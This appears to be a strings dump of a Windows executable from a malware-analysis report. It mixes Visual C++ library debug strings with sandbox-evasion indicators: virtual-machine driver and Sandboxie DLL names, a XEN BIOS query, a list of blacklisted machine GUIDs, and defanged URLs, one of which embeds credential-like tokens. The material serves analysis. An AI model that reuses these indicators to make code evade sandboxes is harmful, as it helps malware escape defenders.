DATA_S_FIRST...DATA_S_LAST

DRAGDROP_E_FIRST...DRAGDROP_E_LAST

DRAGDROP_S_FIRST...DRAGDROP_S_LAST

ENUM_E_FIRST...ENUM_E_LAST

ENUM_S_FIRST...ENUM_S_LAST

INPLACE_E_FIRST...INPLACE_E_LAST

INPLACE_S_FIRST...INPLACE_S_LAST

MARSHAL_E_FIRST...MARSHAL_E_LAST

MARSHAL_S_FIRST...MARSHAL_S_LAST

MK_E_FIRST...MK_E_LAST

MK_S_FIRST...MK_S_LAST

OLEOBJ_E_FIRST...OLEOBJ_E_LAST

OLEOBJ_S_FIRST...OLEOBJ_S_LAST

OLE_E_FIRST...OLE_E_LAST

OLE_S_FIRST...OLE_S_LAST

REGDB_E_FIRST...REGDB_E_LAST

REGDB_S_FIRST...REGDB_S_LAST

VIEW_E_FIRST...VIEW_E_LAST

VIEW_S_FIRST...VIEW_S_LAST

FACILITY_WINDOWS

severity: %s, facility: %s ($lX)

range: %s ($lX)

%s ($lX)

Warning: constructing COleException, scode = %s.

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlalloc.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcomcli.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlsimpstr.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\cstringt.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlconv.h

F%s (%s:%d)

%s (%s:%d)

ntdll.dll

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

%s%s.dll

If:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

Error: failed to execute DDE command '%s'.

Warning: DDE command '%s' ignored because window is disabled.

Can't register window class named %s

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

WinHelp: pszHelpFile = '%s', dwData: $%lx, fuCommand: %d.

HtmlHelp: pszHelpFile = '%s', dwData: $%lx, fuCommand: %d.

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcom.h

commctrl_DragListMsg

pMRU: open file (%d) '%s'.

If:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Binding entry %d failed. Status: %d

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlbase.h

GetData failed - HRESULT = 0x%X

m_pColumnInfo[nColumn].ulColumnSize == sizeof(ctype)

ERROR: Dialog named '%s' must have the child style.

ERROR: Dialog named '%s' must be invisible.

ERROR: Cannot find dialog template named '%s'.

CLSID\%s

Interface\%s

mfcm90ud.dll

QueryInterface(%s) failed

QueryInterface(%s) succeeded

Icomctl32.dll

Icomdlg32.dll

Ishell32.dll

connecting to socket address '%s'

resolved name for %s!

resolving name for %s

Warning: destroying an open %s with handle %8.8X

Warning: Disconnecting %s handle %8.8X in context %8.8X at destruction.

IHTTP/1.0

WININET.DLL

Warning: could not get volume information '%s'.

Warning: could not parse the path '%s'. Path is too long.

Warning: could not parse the path '%s'.

CFile exception: %hs, File %s, OS error information = %ld.

user32.dll

AppMsg

WinMsg

CmdRouting

%s: hwnd=0xX, msg = 0xX (0xX, 0xX)

%s: hwnd=0xX, msg = %hs (0xX, 0xX)

%s: Advise item='%s', Format='%s', Ack=%d, Defer Update= %d

%s: Execute '%s'.

0xx

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

Warning: OleInitialize returned scode = %s.

mscoree.dll

nf:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\atldebugapi.cpp

%S(%d) :

ppCategory && pfnCrtDbgReport

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlmem.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atltime.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlbase.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcomtime.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcore.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\allocate.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\atltracemodulemanager.h

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

mode == _CRT_RPTHOOK_INSTALL || mode == _CRT_RPTHOOK_REMOVE

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\rewind.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tmakepath_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tsplitpath_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\fgetc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgetpos.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fsetpos.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wprintf.c

nf:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcslwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\atof.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtof.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsupr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsinc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsdup.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

T_CrtSetReportHook2

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputws.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

f:\dd\vctools\crt_bld\self_x86\crt\src\clearerr.c

fMode == _CRTDBG_REPORT_MODE || (fMode & ~(_CRTDBG_MODE_FILE | _CRTDBG_MODE_DEBUG | _CRTDBG_MODE_WNDW)) == 0

_CrtSetReportMode

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

nRptType >= 0 && nRptType < _CRT_ERRCNT

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

strcat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), rterrs[tblindx].rterrtxt)

strcat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), "\n\n")

strcpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), "Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftelli64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

c:\%original file name%.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

%original file name%.exe_272_rwx_00401000_001A4000:

u%Shh

@t-9}

NSSh:

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

F$.xE

J!"#$J%J&'()*J ,JJJJJJJJ-J.JJ/0J1JJJJJJJJJJJJJJJJJJ23JJ4567JJ8JJJJJ9:;JJJJJ<=JJJJJJJJJJJ>?JJJJJJJJ@JJJJJJAJJJJJBJJCJJJJJJJJJJJDEJJJJJJJFJGJJJJJJJJJJJJHJI

j-hd}T

j.hd}T

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlexcept.h

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

kernel32.dll

%System%\drivers\vmmouse.sys

%System%\drivers\vmhgfs.sys

%System%\drivers\VBoxMouse.sys

sbiedll.dll

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\streambuf

SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE '%XEN%')

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\cstringt.h

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xiosbase

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Classes\ProcMon.Logfile.1\shell\open\command

IsWindowsServer

hXXps://ssl.google-analytics.com/collect?

IWX^^^^^gkmv"-88BDRXcgiu}$/:HOY]fsz 4<HLW]kq $/5>IKTU_lo}&27>EMVefox#/6:?LV\]jp|"/35@@KSXgr "#2:=BOX_gly

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocnum

JUUXXXXXZdqss},0<DIM\cmn|'0;EKZ_gu9DP

CDGIIIIIQ[bbdpux!)7>AJO^eggoqvww| .<CRTU

LSXbbbbbfrxx&(7<FINNNNR`ehov#$279HJTVXZ`lp (0?@EJT^jlzz$ 9>IQ`crt}-0:HNW

APRRRRRRWdr (58>DQUUW]hkz#4CLV]ap}&/2>JT]`hjjptx$&0>CKKX`dlx{(7FHRZ\_h

BHKXXXXXddgpq"1@LX[iosu}*-8DLPWelwx})3;GIQ^dn}%(2>AIMOZ]bnp}!&.8BDIPVWdq

NVW\\\\\fgu"&()6BFGPWZ`fjmx"",.4;EHWenqy*,6=GM\gnou&.;@HLTcrt}) :BCHSXbb

CPSYYYYY_l{,:DKMR_fsv!""*79?JV^_kpu$89FITbhpv&.<AHP]]lt}#) 6BPY[ftxy|

MNN]]]]]ix$$12<JNS\^mx"5CMZhw '6DQUU_kt .<?CQ`glz#)*-8GQZ[dis|-:HMUZh

LTUUUUUUahit|},7CCJKY_mw'5CEGJXelvv&2:HTYfopy &8FIX_`oq"#%-04;BJSbgr )

IINRRRRR]ktz}(,;DFMR^crty).38?NTW\jtv&4BFGVegl{{*9:=@CKZgiu#(5BLV]deppt{#,77BPPSW`gt '6CDNOO[aap| $(,5@H

ACESSSSSWcqz$**9=HPT_dmov$3>IKUdpt ')* 5AGSSU]^mnn|*3<@IPVcrv!$3BJWX^jjv

BJOPPPPPTan}"-0:IT^epu&01@IJLTYhmvv%%DERUabbbopttv& 3@GQVdoprx#.7?ADGL

GKMQQQQQSann{#%* 1:HMXYdq (FJOWadkw$$$

GVZcccccrz())) 2=ES_npwy(4BM\crt$-<JU`is

MQTbbbbbklv&4=>M[gkprz) 6@KKNTUdpz'5<=GJKUcghv%0=BDENSYdiiikrx"'39EQV[hm

FIJPPPPPUV_fmmpt|&,/13AFRWX]ajqwx'(/9?HS[\cn{KGNTcpx"#/1<?JJRW_nuxz|"1

MNN\\\\\eoy&(.5=CHPY`cjow&'/=IWaot!017BDLY\\dopx|-8BMXfnqu%*55@HKTcet#*-2>KYdlwwFCIS]adiw}!06;EFMT\do

()$^.* ?[]|\-{},:=!

KMT_____eky',:?GMT]^fpz)59=HOS_bqqvxy$'5=>AKY`anz&019@ERV^ccjt"/=BKRYgoyy|'5:;GVYcpss#&4CCOT[ammuz)0>KSVbelwx&*8:BKPSXckxyyz|--/<JMV_cgmmqx#28=>HQ`or|"(0;=KO[ft|}*8ADS`kny'-17CDLVcq})24>ADHU^^agv}(00>

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\locale

invalid _N_type: %d

FKLXXXXX\`mstuuv!)38CCEIMUZgo}...7>LV^bfft (33AOUbbovz*4CRVVckx)47@IRZhmu}",1@DHW\kot%2;FR_apz(0=@LLMTcp

JRV[[[[[_hjpx&3@JW]jlw$3AIJUdptx)5;FNT^b

LT[_____`jwz$7CL[bhtw##&.=GN]coy*--8E

FGGLLLLLNTcoy7DPQV[]giu (.55?MR]coyz'()/5@ABP]]cemnny|$$-7AHS\bhw'5=>C

KVVWWWWWdstyICQQXdjv%/>ILVemy}#)89FNSSbklt#148DPPPW\fjmo|$&.89GLO]ity$

NNNPPPPPYZ`o ,/6;@BHKZZ^gtu7DJNSabcq{

OWWeeeeeept""'5DHWWW[dl{*3@JVXfrsuFLV

MNUWWWWWcimqw$&/99;<@FT_agq!)8<AFNS^_kz!'(-57CEKVdgmo %-/8DKMVVYaemuu$/>DJY^bnz#'(5<JKV`alx(09<DPSYfmmmot{&( ,2:BDRVV`glnqv&5CHJW^bo}-36CQ^dls"(*5;AHPPY\depz%*115<=KM[hmv}%4>DKXddqz'5CJX_bciuu{| /<HUU^aow'6@FIR^kr  /<?NNZ^^jy*00127?JYffjqz"1<<<@BJN\jr -9?@OPYgkpy'4?BQ]dmq!(-<EEKX`kv#0>GO[hhntu}&/1;EN\efq{"$$'  45DM[emw"$.6DLMUWchvz /89FO^cp .1;EKMTWcju $35DPQT\frx#?GN[^ijmu!(2:?ETbemz!-2?LOY]htz'-25?JJKUds|&.4;GHSX^bbow(008GLOV`eksy{{!$0033<@O[jw%(5DFMUZiq -7AJOZ\deovwx&*-5CRYcmow&&.9<GSXYYcccdlmw #$ 1>CR_am{"'3>CCOSW[fuu"'6EIIRUboo{#(7ELU`nq!#'*,;ACJJMQSX\ejjoz%0;>?JR_juw&44AIRU_kwy'56DIO^lmo}"'.=IMP\acor|!-6:BN]lv$)2;;CEKPXZ_gq{,,:IKMZ_klxz$%.3<GJQ^hnqy**7CJKN\akmt|!-0<EIQ]l{'38AJJRTZ_ginv",;;IXZ\innx|,-8BCEQ^kz}#..7CETUbo|"))2=@OSVdnv' .47BMNWcepy&15@OTZZhhopy% 6:CR\hpy'4CGJYdmx"*5;<<IN]egsz*-:?IWZadghu{}*38GTcpu}#'4CIJXceg

OVYbbbbbfhtt)FLRYdftvx)6<HUdfms{{{}%/11?@@LZiinr!--7<EGGILY]foq"*0:DDR

LNOOOOOO^mvx #1@JOTYgo|,3>FJR_lmnsx$  4AHORT_fp}"-<FGLV_aeny|!-7AFKKTbjpy))7>EJVdilw(*147<FNVX[iiv&18EESVdfllu 4AFS^hhwCHOU\aajpxy*18DPY`os|"-:DKKS]^fs!&'3>INNZZepw&2<HMPV[`bmv&,,0=>>ENZis!7DHWaelqz !0689?EEMVX_ejow}%,23BPWb

NetBase.cpp

NSV[[[[[gv$((488FUblt{"4CO^_fks$3<IMO^lu!-06>IJSZco}%'/;DMXfq"#-33@@FOOV`iq '(.66;<KZghwz&) :CJKTTanqr

URL EMPTY

"url":"

ParseUrl

/Setup.application

hXXp://

urlc=

PictureEx.cpp

c:\logFile.txt

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

hXXp://42e546f0ea2d40afa114ea020951ec9d:9538ea5acbbe4fc6b42811c415685653@

.cpp" ,

errormsg

Error opening key.

Key not found.

_virtualGetStringKey

_virtualcheckRegkKey

_virtualSetStringKey

_virtualSetDwordKey

SetStringKey

inflate 1.1.3 Copyright 1995-1998 Mark Adler

CWebBrowser2

0.0.0.0

mb_00000000-0000-0000-0807-060504030201

mb_09F005AE-AC9D-4FC1-AB7A-24004F6C043A

mb_01010101-0101-0101-0101-010101010101

mb_58585858-5858-5858-5858-585858585858

mb_4c4c4544-0000-2010-8020-80c04f202020

mb_11111111-2222-3333-4444-555555555555

mb_11111111-1111-1111-1111-111111111111

mb_00020003-0004-0005-0006-000700080009

mb_890E2D14-CACD-45D1-AE66-BC80E8BFEB0F

mb_8E275844-178F-44A8-ACEB-A7D7E5178C63

mb_52309712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_DC698397-FA54-4CF2-82C8-B1B5307A6A7F

mb_61F39712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_50FB9712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_93309712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_56F49712-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_07090201-0103-0301-0807-060504030201

mb_03000200-0400-0500-0006-000700080009

mb_FEFEFEFE-FEFE-FEFE-FEFE-FEFEFEFEFEFE

mb_FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF

mb_00000000-0000-0000-0000-000000000000

CNotSupportedException

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\except.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxtls_.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olemisc.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winstr.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\strcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxtempl.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\afx.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\thrdcore.cpp

m_nMsgLast =

m_msgCur = {

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcoll.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\elements.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxtls.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occmgr.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occdlg.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

m_pszExeName =

m_nCmdShow =

m_lpCmdLine =

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxadv.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

Warning: no message line prompt for ID 0xX.

Warning: OnUpdateKeyIndicator - unknown indicator 0xX.

Warning: scroll bars in frame windows may cause unusual behaviour.

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxpriv.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcomctl32.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp

Warning: unknown WM_MEASUREITEM for menu item 0xX.

hhctrl.ocx

Implementation Warning: control notification = $%X.

Warning: not executing disabled command %d

hWnd = $X (nIDC=$X) is not a %hs.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afximpl.h

CCmdTarget

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\cmdtarg.cpp

SENDING control notification %d from control id 0xX to %hs window.

SENDING command id 0xX to %hs target.

No handler for command ID 0xX, disabling it.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui1.cpp

Error: failed to load message box prompt string 0xx.

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winocc.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occsite.cpp

IOleInPlaceObject not supported on OLE control (dialog ID %d).

Persistence not supported on OLE control %ls.

%d. Column ordinal %d: Binding as native data type

%d. Column ordinal %d: Binding a COM object

F%d. Column ordinal %d: Binding as an IStream object

%d. Column ordinal %d: Binding as an ISequentialStream object

neither ISequentialStream nor IStream are supported!

IStream is supported

FISequentialStream is supported

Testing streams support...

%d. Column ordinal %d: Binding by reference in provider allocated, consumer owned memory

%d. Column ordinal %d: Binding length and status ONLY

Number of columns: %d

f:\dd\vctools\vc7libs\ship\atlmfc\include\atldbcli.h

Unsupported DBTYPE (%d) in column %d

$@Column %d not bound

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occcont.cpp

Error: no data exchange control with ID 0xX.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wingdi.cpp

m_ps.rcPaint =

m_ps.fErase =

m_ps.hdc =

lgpn.lopnColor =

lgpn.lopnWidth.x (width) =

lgpn.lopnStyle =

lb.lbColor =

lb.lbHatch =

lb.lbStyle =

lf.lfFaceName =

lf.lfPitchAndFamily =

lf.lfQuality =

lf.lfClipPrecision =

lf.lfOutPrecision =

lf.lfCharSet =

lf.lfStrikeOut =

lf.lfUnderline =

lf.lfItalic =

lf.lfWeight =

lf.lfOrientation =

lf.lfEscapement =

lf.lfWidth =

lf.lfHeight =

bm.bmBitsPixel =

bm.bmPlanes =

bm.bmWidthBytes =

bm.bmWidth =

bm.bmHeight =

bm.bmType =

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wingdix.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgcore.cpp

IGNORING command id 0xX sent to %hs dialog.

Routing command id 0xX to app.

Routing command id 0xX to owner window.

Warning: Creating dialog from within a COleControlModule application is not a supported scenario.

Warning: ExecuteDlgInit failed during dialog init.

ERROR: Dialog with IDD 0xX must have the child style.

ERROR: Dialog with IDD 0xX must be invisible.

ERROR: Cannot find dialog template with IDD 0xX.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleunk.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxole.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxstate.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\objcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arcobj.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arccore.cpp

CHttpConnection

CHttpFile

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\inet.cpp

Unknown status: %d

Internet ctxt=%d:

Warning: throwing CInternetException for error %d

Warning: Extended error reported with no response info

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filex.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appinit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olevar.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arcex.cpp

WM_HOTKEY

WM_SETHOTKEY

WM_IDLEUPDATECMDUI

WM_DDE_EXECUTE

WM_KEYLAST

WM_SYSKEYUP

WM_SYSKEYDOWN

WM_KEYUP

WM_KEYDOWN

WM_VKEYTOITEM

WM_CTLCOLORMSGBOX

WM_USER 0xX

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxtrace.cpp

Warning: Unable to unpack WM_DDE_EXECUTE lParam lX.

Warning: failed to reclaim %d bytes for memory safety pool.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winhand.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dumpcont.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_b.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_w.cpp

